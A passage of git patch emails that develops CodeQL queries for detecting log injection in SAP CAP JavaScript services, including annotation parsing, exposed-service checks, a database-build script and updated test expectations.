 }
 
 /**

From a3b837387302d4688bf352df142772882fd99a18 Mon Sep 17 00:00:00 2001
From: Jeongsoo Lee <jeongsoolee09@github.com>
Date: Mon, 4 Mar 2024 17:00:24 -0800
Subject: [PATCH 46/86] Finish first draft of multi-service log injection

---
 ...Injection.qll => CAPLogInjectionQuery.qll} | 14 +++++-
 .../javascript/frameworks/cap/CDL.qll         | 45 +++++++++++++++++++
 .../javascript/frameworks/cap/CDS.qll         | 42 ++++++++++++++---
 .../frameworks/cap/RemoteFlowSources.qll      | 17 +++++--
 .../cap/src/loginjection/LogInjection.ql      | 17 +------
 5 files changed, 109 insertions(+), 26 deletions(-)
 rename javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/{CAPLogInjection.qll => CAPLogInjectionQuery.qll} (66%)

diff --git a/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/CAPLogInjection.qll b/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/CAPLogInjectionQuery.qll
similarity index 66%
rename from javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/CAPLogInjection.qll
rename to javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/CAPLogInjectionQuery.qll
index 2ff7c5815..06c261eed 100644
--- a/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/CAPLogInjection.qll
+++ b/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/CAPLogInjectionQuery.qll
@@ -1,6 +1,9 @@
 import javascript
-import DataFlow
+import semmle.javascript.dataflow.DataFlow
+import semmle.javascript.security.dataflow.LogInjectionQuery
+import advanced_security.javascript.frameworks.cap.RemoteFlowSources
 import advanced_security.javascript.frameworks.cap.CDS
+import advanced_security.javascript.frameworks.cap.dataflow.FlowSteps
 
 /**
  * A logger obtained by a call to `log` on a CDS facade. Each logger is associated with
@@ -33,3 +36,12 @@ class CdsLogSink extends DataFlow::Node {
     )
   }
 }
+
+class Configuration extends LogInjectionConfiguration {
+  override predicate isSource(DataFlow::Node start) {
+    super.isSource(start) or
+    start instanceof RemoteFlowSource
+  }
+
+  override predicate isSink(DataFlow::Node node) { node instanceof CdsLogSink }
+}
diff --git a/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/CDL.qll b/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/CDL.qll
index 7a94033a4..23dc181c5 100644
--- a/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/CDL.qll
+++ b/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/CDL.qll
@@ -25,6 +25,12 @@ abstract class CdlElement extends JsonObject {
   abstract string getName();
 
   abstract CdlKind getKind();
+
+  CdlAnnotation getAnnotation(string annotationName) {
+    this = result.getQualifiedElement() and result.getName() = annotationName
+  }
+
+  CdlAnnotation getAnAnnotation() { result = this.getAnnotation(_) }
 }
 
 class CdlService extends CdlElement {
@@ -122,3 +128,42 @@ class CdlAttribute extends JsonObject {
 
   int getLength() { result = this.getPropValue("length").(JsonPrimitiveValue).getIntValue() }
 }
+
+abstract class CdlAnnotation extends JsonValue {
+  string annotationName;
+  CdlElement element;
+
+  CdlAnnotation() {
+    this = element.getPropValue(annotationName) and
+    annotationName.charAt(0) = "@"
+  }
+
+  /**
+   * Gets the name of this annotation, without the leading `@` character.
+   */
+  string getName() { "@" + result = annotationName }
+
+  /**
+   * Gets the CDL Element that this annotation is attached to.
+   */
+  CdlElement getQualifiedElement() { result = element }
+}
+
+class ProtocolAnnotation extends CdlAnnotation {
+  ProtocolAnnotation() { this = element.(CdlService).getPropValue("@protocol") }
+
+  string getAnExposedProtocol() {
+    /* e.g. @protocol: 'odata' */
+    result = this.(JsonString).getValue()
+    or
+    /* e.g. @protocol: ['odata', 'rest', 'graphql'] */
+    result = this.(JsonArray).getElementStringValue(_)
+    or
+    /* e.g. @protocol: [{ kind: 'odata', path: 'some/path' }] */
+    result = this.(JsonArray).getElementValue(_).(JsonObject).getPropStringValue("kind")
+  }
+}
+
+class CdsFile extends File {
+  CdsFile() { exists(CdlElement element | this = element.getJsonFile()) }
+}
diff --git a/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/CDS.qll b/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/CDS.qll
index 3f663ac95..93206ca97 100644
--- a/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/CDS.qll
+++ b/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/CDS.qll
@@ -121,7 +121,9 @@ class ServiceInstanceFromCdsConnectTo extends ServiceInstance {
  * ```
  */
 class ServiceInstanceFromConstructor extends ServiceInstance {
-  ServiceInstanceFromConstructor() { this = any(CdsApplicationService cds).getAnInstantiation() }
+  ServiceInstanceFromConstructor() {
+    exists(CdsApplicationServiceClass cds | this = cds.getAnInstantiation())
+  }
 
   override UserDefinedApplicationService getDefinition() { none() }
 
@@ -308,7 +310,7 @@ abstract class UserDefinedApplicationService extends DataFlow::Node {
   HandlerRegistration getAHandlerRegistration() { result = this.getHandlerRegistration(_) }
 
   /**
-   * Gets the name of this service as declared in the ` package.json`.
+   * Gets the name of this service as declared in the `package.json`.
    */
   string getManifestName() {
     exists(RequiredService serviceManifest |
@@ -316,17 +318,45 @@ abstract class UserDefinedApplicationService extends DataFlow::Node {
       result = serviceManifest.getName()
     )
   }
+
+  /**
+   * Gets the CDS definition of this service.
+   */
+  CdlService getCdsDeclaration() {
+    exists(CdsFile cdsFile |
+      cdsFile.getStem() = this.getFile().getStem() and
+      cdsFile.getParentContainer() = this.getFile().getParentContainer() and
+      result.getFile() = cdsFile
+    )
+  }
+
+  /**
+   * Holds if this service supports access from the outside through any kind of protocol.
+   */
+  predicate isExposed() { not this.isInternal() }
+
+  /**
+   * Holds if this service does not support access from the outside through any kind of protocol, thus being internal only.
+   */
+  predicate isInternal() {
+    exists(CdlService cdsDeclaration | cdsDeclaration = this.getCdsDeclaration() |
+      cdsDeclaration.getAnnotation("protocol").(ProtocolAnnotation).getAnExposedProtocol() = "none" and
+      not exists(CdlAnnotation annotation |
+        annotation = cdsDeclaration.getAnnotation(["rest", "odata", "graphql"])
+      )
+    )
+  }
 }
 
 /**
  * Subclassing `cds.ApplicationService` via a ES6 class definition.
  * ```js
- * class SomeService extends cds.ApplicationService
+ * class SomeService extends cds.ApplicationService { init() { ... } }
  * ```
  */
 class ES6Definition extends ClassNode, UserDefinedApplicationService {
   ES6Definition() {
-    exists(CdsApplicationService cdsApplicationService |
+    exists(CdsApplicationServiceClass cdsApplicationService |
       this.getASuperClassNode() = cdsApplicationService.asSource()
     )
   }
@@ -352,8 +382,8 @@ class ImplMethodCallDefinition extends MethodCallNode, UserDefinedApplicationSer
   override FunctionNode getInitFunction() { result = this.getArgument(0) }
 }
 
-private class CdsApplicationService extends API::Node {
-  CdsApplicationService() { exists(CdsFacade c | this = c.getMember("ApplicationService")) }
+private class CdsApplicationServiceClass extends API::Node {
+  CdsApplicationServiceClass() { exists(CdsFacade c | this = c.getMember("ApplicationService")) }
 }
 
 abstract class InterServiceCommunicationMethodCall extends MethodCallNode {
diff --git a/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/RemoteFlowSources.qll b/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/RemoteFlowSources.qll
index dc8ec72b4..1403c997e 100644
--- a/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/RemoteFlowSources.qll
+++ b/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/RemoteFlowSources.qll
@@ -11,9 +11,20 @@ import advanced_security.javascript.frameworks.cap.CDS
  * ```
  * All the parameters named `req` and `msg` are captured in the above example.
  */
-/* TODO: narrow the definition down to exposed events */
 class HandlerParameter extends ParameterNode, RemoteFlowSource {
-  HandlerParameter() { exists(Handler handler | this = handler.getParameter(0)) }
+  HandlerParameter() {
+    exists(
+      Handler handler, HandlerRegistration handlerRegistration,
+      UserDefinedApplicationService service
+    |
+      handler = handlerRegistration.getHandler() and
+      this = handler.getParameter(0) and
+      service.getAHandlerRegistration() = handlerRegistration and
+      service.isExposed()
+    )
+  }
 
-  override string getSourceType() { result = "Parameter of an event handler" }
+  override string getSourceType() {
+    result = "Parameter of an event handler belonging to an exposed service"
+  }
 }
diff --git a/javascript/frameworks/cap/src/loginjection/LogInjection.ql b/javascript/frameworks/cap/src/loginjection/LogInjection.ql
index c8761eed0..98ca89266 100644
--- a/javascript/frameworks/cap/src/loginjection/LogInjection.ql
+++ b/javascript/frameworks/cap/src/loginjection/LogInjection.ql
@@ -12,22 +12,7 @@
 
 import javascript
 import DataFlow::PathGraph
-import semmle.javascript.security.dataflow.LogInjectionQuery
-import advanced_security.javascript.frameworks.cap.RemoteFlowSources
-import advanced_security.javascript.frameworks.cap.CDS
-import advanced_security.javascript.frameworks.cap.CAPLogInjection
-
-/**
- * A source of remote user controlled input.
- */
-class CapRemoteSource extends Source {
-  CapRemoteSource() { this instanceof RemoteFlowSource }
-}
-
-/**
- * An argument to a logging mechanism.
- */
-class CapLoggingSink extends Sink, CdsLogSink { }
+import advanced_security.javascript.frameworks.cap.CAPLogInjectionQuery
 
 from Configuration config, DataFlow::PathNode source, DataFlow::PathNode sink
 where config.hasFlowPath(source, sink)

From f34200437b5fe0cec1bb9e7518312b34eac7d306 Mon Sep 17 00:00:00 2001
From: Jeongsoo Lee <jeongsoolee09@github.com>
Date: Tue, 5 Mar 2024 15:36:19 -0800
Subject: [PATCH 47/86] Debug query for
 log-injection-with-service2-protocol-none

courtesy of @rvermeulen
---
 .../frameworks/cap/CAPLogInjectionQuery.qll         |  6 +++---
 .../frameworks/cap/dataflow/FlowSteps.qll           | 13 +++++++++++++
 .../frameworks/cap/src/loginjection/LogInjection.ql |  3 ++-
 3 files changed, 18 insertions(+), 4 deletions(-)

diff --git a/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/CAPLogInjectionQuery.qll b/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/CAPLogInjectionQuery.qll
index 06c261eed..eead8e0b5 100644
--- a/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/CAPLogInjectionQuery.qll
+++ b/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/CAPLogInjectionQuery.qll
@@ -3,7 +3,7 @@ import semmle.javascript.dataflow.DataFlow
 import semmle.javascript.security.dataflow.LogInjectionQuery
 import advanced_security.javascript.frameworks.cap.RemoteFlowSources
 import advanced_security.javascript.frameworks.cap.CDS
-import advanced_security.javascript.frameworks.cap.dataflow.FlowSteps
+import advanced_security.javascript.frameworks.cap.dataflow.DataFlow
 
 /**
  * A logger obtained by a call to `log` on a CDS facade. Each logger is associated with
@@ -37,11 +37,11 @@ class CdsLogSink extends DataFlow::Node {
   }
 }
 
-class Configuration extends LogInjectionConfiguration {
+class CAPLogInjectionConfiguration extends LogInjectionConfiguration {
   override predicate isSource(DataFlow::Node start) {
     super.isSource(start) or
     start instanceof RemoteFlowSource
   }
 
-  override predicate isSink(DataFlow::Node node) { node instanceof CdsLogSink }
+  override predicate isSink(DataFlow::Node end) { end instanceof CdsLogSink }
 }
diff --git a/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/dataflow/FlowSteps.qll b/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/dataflow/FlowSteps.qll
index a8b210c36..5b86a1345 100644
--- a/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/dataflow/FlowSteps.qll
+++ b/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/dataflow/FlowSteps.qll
@@ -29,5 +29,18 @@ class InterServiceCommunicationStepFromSenderToReceiver extends DataFlow::Shared
             .getHandler()
             .getParameter(0)
     )
+    or
+    exists(InterServiceCommunication communication, string communicationEventName |
+      succ = communication.getCommunicationMethodCall().getArgument(1) and
+      communicationEventName =
+        communication
+            .getCommunicationMethodCall()
+            .getArgument(0)
+            .getALocalSource()
+            .asExpr()
+            .(StringLiteral)
+            .getValue() and
+      pred = any(PropWrite write | write.getBase() = succ).getRhs()
+    )
   }
 }
diff --git a/javascript/frameworks/cap/src/loginjection/LogInjection.ql b/javascript/frameworks/cap/src/loginjection/LogInjection.ql
index 98ca89266..b0ddaaec3 100644
--- a/javascript/frameworks/cap/src/loginjection/LogInjection.ql
+++ b/javascript/frameworks/cap/src/loginjection/LogInjection.ql
@@ -12,9 +12,10 @@
 
 import javascript
 import DataFlow::PathGraph
+import advanced_security.javascript.frameworks.cap.dataflow.DataFlow
 import advanced_security.javascript.frameworks.cap.CAPLogInjectionQuery
 
-from Configuration config, DataFlow::PathNode source, DataFlow::PathNode sink
+from CAPLogInjectionConfiguration config, DataFlow::PathNode source, DataFlow::PathNode sink
 where config.hasFlowPath(source, sink)
 select sink.getNode(), source, sink, "Log entry depends on a $@.", source.getNode(),
   "user-provided value"

From c5ecf1e035ddfa9372e4e9962d1141575003a5f9 Mon Sep 17 00:00:00 2001
From: Jeongsoo Lee <jeongsoolee09@github.com>
Date: Tue, 5 Mar 2024 16:07:04 -0800
Subject: [PATCH 48/86] Add separate script to build database with (compiled)
 cds files

---
 scripts/create-db-with-cds.sh | 32 ++++++++++++++++++++++++++++++++
 1 file changed, 32 insertions(+)
 create mode 100644 scripts/create-db-with-cds.sh

diff --git a/scripts/create-db-with-cds.sh b/scripts/create-db-with-cds.sh
new file mode 100644
index 000000000..ded467ae0
--- /dev/null
+++ b/scripts/create-db-with-cds.sh
@@ -0,0 +1,32 @@
+#!/bin/bash
+# !!!!!!! Run it at javascript/frameworks/cap/test/queries/test/queries/ !!!!!!!
+
+# Remember current directory
+TEST_DIR=$(pwd)
+
+# Loop over all the directories in the test directory
+for dir in *; do
+    # Change to the directory
+    cd $dir
+
+    # Remember this folder's name
+    FOLDER_NAME=$(basename $(pwd))
+
+    # Enable XML extraction
+    export LGTM_INDEX_XML_MODE='ALL'
+
+    # Enable JSON extraction
+    export LGTM_INDEX_FILTERS=include:**/*.json
+
+    # Compile all .cds files to .json
+    for cds_file in $(find . -type f \( -iname '*.cds' \) -print  ); do cds compile $cds_file -2 json -o "$(dirname $cds_file)/$(basename $cds_file .cds).json"; done
+
+    # Create CodeQL database
+    codeql database create $FOLDER_NAME --language=javascript --overwrite
+
+    # Change back to the test directory
+    cd $TEST_DIR
+done
+
+echo "Done!"
+

From f61be3dda9e1b5479beb876c43e9cd266a6da50d Mon Sep 17 00:00:00 2001
From: Jeongsoo Lee <jeongsoolee09@github.com>
Date: Tue, 5 Mar 2024 16:07:34 -0800
Subject: [PATCH 49/86] Change bit of comment in create-db.sh

---
 scripts/create-db.sh | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/scripts/create-db.sh b/scripts/create-db.sh
index 5e488447f..cd31740bd 100644
--- a/scripts/create-db.sh
+++ b/scripts/create-db.sh
@@ -1,5 +1,5 @@
 #!/bin/bash
-# !!!!!!! Run it at test/queries/ !!!!!!!
+# !!!!!!! Run it at javascript/frameworks/ui5/test/queries/test/queries/ !!!!!!!
 
 # Remember current directory
 TEST_DIR=$(pwd)

From bef79db00397979589a9da0533cbbf4be85797a6 Mon Sep 17 00:00:00 2001
From: Jeongsoo Lee <jeongsoolee09@github.com>
Date: Tue, 5 Mar 2024 17:15:41 -0800
Subject: [PATCH 50/86] Update unit test cases and .expected files

---
 ...njection-not-depending-on-request.expected |  3 +
 .../srv/service2.cds                          |  1 +
 .../loginjection.expected                     | 18 ------
 ...ction-with-complete-protocol-none.expected |  3 +
 ...ction-with-service1-protocol-none.expected | 21 +++++++
 .../srv/service1.json                         | 12 ++--
 .../srv/service2.json                         | 55 ++++++++++++++++++-
 7 files changed, 88 insertions(+), 25 deletions(-)
 create mode 100644 javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/log-injection-not-depending-on-request.expected
 create mode 100644 javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/log-injection-with-complete-protocol-none.expected
 create mode 100644 javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/log-injection-with-service1-protocol-none.expected

diff --git a/javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/log-injection-not-depending-on-request.expected b/javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/log-injection-not-depending-on-request.expected
new file mode 100644
index 000000000..ac992895b
--- /dev/null
+++ b/javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/log-injection-not-depending-on-request.expected
@@ -0,0 +1,3 @@
+nodes
+edges
+#select
diff --git a/javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/srv/service2.cds b/javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/srv/service2.cds
index a5963d2ef..4d1938ff5 100644
--- a/javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/srv/service2.cds
+++ b/javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/srv/service2.cds
@@ -1,5 +1,6 @@
 using { advanced_security.log_injection.sample_entities as db_schema } from '../db/schema';
 
+@protocol: 'none'
 service Service2 @(path: '/service-2') {
   /* Entity to send READ/GET about. */
   entity Service2Entity as projection on db_schema.Entity2 excluding { Attribute4 }
diff --git a/javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.expected b/javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.expected
index 6922f7f76..85a8e0b18 100644
--- a/javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.expected
+++ b/javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.expected
@@ -9,15 +9,6 @@ nodes
 | loginjection.js:11:14:11:26 | "test" + book |
 | loginjection.js:11:14:11:26 | "test" + book |
 | loginjection.js:11:23:11:26 | book |
-| sample-app/srv/service2.js:6:33:6:35 | msg |
-| sample-app/srv/service2.js:6:33:6:35 | msg |
-| sample-app/srv/service2.js:7:15:7:31 | { messageToPass } |
-| sample-app/srv/service2.js:7:15:7:42 | messageToPass |
-| sample-app/srv/service2.js:7:17:7:29 | messageToPass |
-| sample-app/srv/service2.js:7:35:7:37 | msg |
-| sample-app/srv/service2.js:7:35:7:42 | msg.data |
-| sample-app/srv/service2.js:9:32:9:44 | messageToPass |
-| sample-app/srv/service2.js:9:32:9:44 | messageToPass |
 edges
 | loginjection.js:7:33:7:35 | req | loginjection.js:8:29:8:31 | req |
 | loginjection.js:7:33:7:35 | req | loginjection.js:8:29:8:31 | req |
@@ -28,14 +19,5 @@ edges
 | loginjection.js:8:29:8:36 | req.data | loginjection.js:8:11:8:25 | {book,quantity} |
 | loginjection.js:11:23:11:26 | book | loginjection.js:11:14:11:26 | "test" + book |
 | loginjection.js:11:23:11:26 | book | loginjection.js:11:14:11:26 | "test" + book |
-| sample-app/srv/service2.js:6:33:6:35 | msg | sample-app/srv/service2.js:7:35:7:37 | msg |
-| sample-app/srv/service2.js:6:33:6:35 | msg | sample-app/srv/service2.js:7:35:7:37 | msg |
-| sample-app/srv/service2.js:7:15:7:31 | { messageToPass } | sample-app/srv/service2.js:7:17:7:29 | messageToPass |
-| sample-app/srv/service2.js:7:15:7:42 | messageToPass | sample-app/srv/service2.js:9:32:9:44 | messageToPass |
-| sample-app/srv/service2.js:7:15:7:42 | messageToPass | sample-app/srv/service2.js:9:32:9:44 | messageToPass |
-| sample-app/srv/service2.js:7:17:7:29 | messageToPass | sample-app/srv/service2.js:7:15:7:42 | messageToPass |
-| sample-app/srv/service2.js:7:35:7:37 | msg | sample-app/srv/service2.js:7:35:7:42 | msg.data |
-| sample-app/srv/service2.js:7:35:7:42 | msg.data | sample-app/srv/service2.js:7:15:7:31 | { messageToPass } |
 #select
 | loginjection.js:11:14:11:26 | "test" + book | loginjection.js:7:33:7:35 | req | loginjection.js:11:14:11:26 | "test" + book | Log entry depends on a $@. | loginjection.js:7:33:7:35 | req | user-provided value |
-| sample-app/srv/service2.js:9:32:9:44 | messageToPass | sample-app/srv/service2.js:6:33:6:35 | msg | sample-app/srv/service2.js:9:32:9:44 | messageToPass | Log entry depends on a $@. | sample-app/srv/service2.js:6:33:6:35 | msg | user-provided value |
diff --git a/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/log-injection-with-complete-protocol-none.expected b/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/log-injection-with-complete-protocol-none.expected
new file mode 100644
index 000000000..ac992895b
--- /dev/null
+++ b/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/log-injection-with-complete-protocol-none.expected
@@ -0,0 +1,3 @@
+nodes
+edges
+#select
diff --git a/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/log-injection-with-service1-protocol-none.expected b/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/log-injection-with-service1-protocol-none.expected
new file mode 100644
index 000000000..708cb0500
--- /dev/null
+++ b/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/log-injection-with-service1-protocol-none.expected
@@ -0,0 +1,21 @@
+nodes
+| srv/service2.js:6:29:6:31 | msg |
+| srv/service2.js:6:29:6:31 | msg |
+| srv/service2.js:7:15:7:31 | { messageToPass } |
+| srv/service2.js:7:15:7:42 | messageToPass |
+| srv/service2.js:7:17:7:29 | messageToPass |
+| srv/service2.js:7:35:7:37 | msg |
+| srv/service2.js:7:35:7:42 | msg.data |
+| srv/service2.js:9:32:9:44 | messageToPass |
+| srv/service2.js:9:32:9:44 | messageToPass |
+edges
+| srv/service2.js:6:29:6:31 | msg | srv/service2.js:7:35:7:37 | msg |
+| srv/service2.js:6:29:6:31 | msg | srv/service2.js:7:35:7:37 | msg |
+| srv/service2.js:7:15:7:31 | { messageToPass } | srv/service2.js:7:17:7:29 | messageToPass |
+| srv/service2.js:7:15:7:42 | messageToPass | srv/service2.js:9:32:9:44 | messageToPass |
+| srv/service2.js:7:15:7:42 | messageToPass | srv/service2.js:9:32:9:44 | messageToPass |
+| srv/service2.js:7:17:7:29 | messageToPass | srv/service2.js:7:15:7:42 | messageToPass |
+| srv/service2.js:7:35:7:37 | msg | srv/service2.js:7:35:7:42 | msg.data |
+| srv/service2.js:7:35:7:42 | msg.data | srv/service2.js:7:15:7:31 | { messageToPass } |
+#select
+| srv/service2.js:9:32:9:44 | messageToPass | srv/service2.js:6:29:6:31 | msg | srv/service2.js:9:32:9:44 | messageToPass | Log entry depends on a $@. | srv/service2.js:6:29:6:31 | msg | user-provided value |
diff --git a/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/srv/service1.json b/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/srv/service1.json
index 6aef472e6..d8aae510a 100644
--- a/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/srv/service1.json
+++ b/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/srv/service1.json
@@ -3,7 +3,8 @@
     "Service1": {
       "@source": "srv/service1.cds",
       "kind": "service",
-      "@protocol": "none"
+      "@protocol": "none",
+      "@path": "/service-1"
     },
     "Service1.Service1Entity": {
       "kind": "entity",
@@ -24,12 +25,15 @@
         }
       }
     },
-    "Service1.Received1": {
-      "kind": "event",
-      "elements": {
+    "Service1.send1": {
+      "kind": "action",
+      "params": {
         "messageToPass": {
           "type": "cds.String"
         }
+      },
+      "returns": {
+        "type": "cds.String"
       }
     },
     "advanced_security.log_injection.sample_entities.Entity1": {
diff --git a/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/srv/service2.json b/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/srv/service2.json
index f970dd84e..4e1c5c4d6 100644
--- a/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/srv/service2.json
+++ b/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/srv/service2.json
@@ -2,14 +2,63 @@
   "definitions": {
     "Service2": {
       "@source": "srv/service2.cds",
-      "kind": "service"
+      "kind": "service",
+      "@path": "/service-2"
     },
-    "Service2.Received2": {
-      "kind": "event",
+    "Service2.Service2Entity": {
+      "kind": "entity",
+      "projection": {
+        "from": {
+          "ref": [
+            "advanced_security.log_injection.sample_entities.Entity2"
+          ]
+        },
+        "excluding": [
+          "Attribute4"
+        ]
+      },
       "elements": {
+        "Attribute3": {
+          "type": "cds.String",
+          "length": 100
+        }
+      }
+    },
+    "Service2.send2": {
+      "kind": "action",
+      "params": {
         "messageToPass": {
           "type": "cds.String"
         }
+      },
+      "returns": {
+        "type": "cds.String"
+      }
+    },
+    "advanced_security.log_injection.sample_entities.Entity1": {
+      "kind": "entity",
+      "elements": {
+        "Attribute1": {
+          "type": "cds.String",
+          "length": 100
+        },
+        "Attribute2": {
+          "type": "cds.String",
+          "length": 100
+        }
+      }
+    },
+    "advanced_security.log_injection.sample_entities.Entity2": {
+      "kind": "entity",
+      "elements": {
+        "Attribute3": {
+          "type": "cds.String",
+          "length": 100
+        },
+        "Attribute4": {
+          "type": "cds.String",
+          "length": 100
+        }
       }
     }
   },

From 91c835842263dca77626985560e9531bdbde0916 Mon Sep 17 00:00:00 2001
From: Jeongsoo Lee <jeongsoolee09@github.com>
Date: Wed, 6 Mar 2024 15:20:00 -0800
Subject: [PATCH 51/86] Fix all unit tests

---
 .../javascript/frameworks/cap/Application.qll | 19 +++++++++
 .../javascript/frameworks/cap/PackageJson.qll |  7 +++-
 ...g-injection-not-depending-on-request.qlref |  1 +
 ...njection-with-complete-protocol-none.qlref |  1 +
 ...njection-with-service1-protocol-none.qlref |  1 +
 ...ction-with-service2-protocol-none.expected | 37 +++++++++++++++++
 ...njection-with-service2-protocol-none.qlref |  1 +
 ...g-injection-without-protocol-none.expected | 40 +++++++++++++++++++
 .../log-injection-without-protocol-none.qlref |  1 +
 9 files changed, 107 insertions(+), 1 deletion(-)
 create mode 100644 javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/Application.qll
 create mode 100644 javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/log-injection-not-depending-on-request.qlref
 create mode 100644 javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/log-injection-with-complete-protocol-none.qlref
 create mode 100644 javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/log-injection-with-service1-protocol-none.qlref
 create mode 100644 javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/log-injection-with-service2-protocol-none.expected
 create mode 100644 javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/log-injection-with-service2-protocol-none.qlref
 create mode 100644 javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/log-injection-without-protocol-none.expected
 create mode 100644 javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/log-injection-without-protocol-none.qlref

diff --git a/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/Application.qll b/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/Application.qll
new file mode 100644
index 000000000..76b53cf6d
--- /dev/null
+++ b/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/Application.qll
@@ -0,0 +1,19 @@
+/**
+ * Definitions pertaining to the application as a whole.
+ */
+
+import javascript
+import advanced_security.javascript.frameworks.cap.PackageJson
+
+class RootDirectory extends Folder {
+  RootDirectory() {
+    exists(PackageJson packageJson | this = packageJson.getJsonFile().getParentContainer())
+  }
+
+  /**
+   * Gets the path of a file relative to this root directory.
+   */
+  string getFilePathRelativeToRoot(File file) {
+    result = file.getAbsolutePath().regexpReplaceAll(this.getAbsolutePath(), ".")
+  }
+}
diff --git a/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/PackageJson.qll b/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/PackageJson.qll
index 65b67b74f..edc2df3a7 100644
--- a/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/PackageJson.qll
+++ b/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/PackageJson.qll
@@ -1,4 +1,5 @@
 import javascript
+import advanced_security.javascript.frameworks.cap.Application
 
 /**
  * The "cds" section of this application's `package.json`.
@@ -39,7 +40,11 @@ class RequiredService extends JsonObject {
    */
   predicate isLocal() { exists(string path | path = this.getPropStringValue("impl")) }
 
-  File getImplementationFile() { result.getRelativePath() = this.getPropStringValue("impl") }
+  File getImplementationFile() {
+    exists(RootDirectory root |
+      root.getFilePathRelativeToRoot(result) = "./" + this.getPropStringValue("impl")
+    )
+  }
 
   /**
    * Holds if this is a declaration of a database service, which is considered remote.
diff --git a/javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/log-injection-not-depending-on-request.qlref b/javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/log-injection-not-depending-on-request.qlref
new file mode 100644
index 000000000..b97580aa2
--- /dev/null
+++ b/javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/log-injection-not-depending-on-request.qlref
@@ -0,0 +1 @@
+loginjection/LogInjection.ql
\ No newline at end of file
diff --git a/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/log-injection-with-complete-protocol-none.qlref b/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/log-injection-with-complete-protocol-none.qlref
new file mode 100644
index 000000000..b97580aa2
--- /dev/null
+++ b/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/log-injection-with-complete-protocol-none.qlref
@@ -0,0 +1 @@
+loginjection/LogInjection.ql
\ No newline at end of file
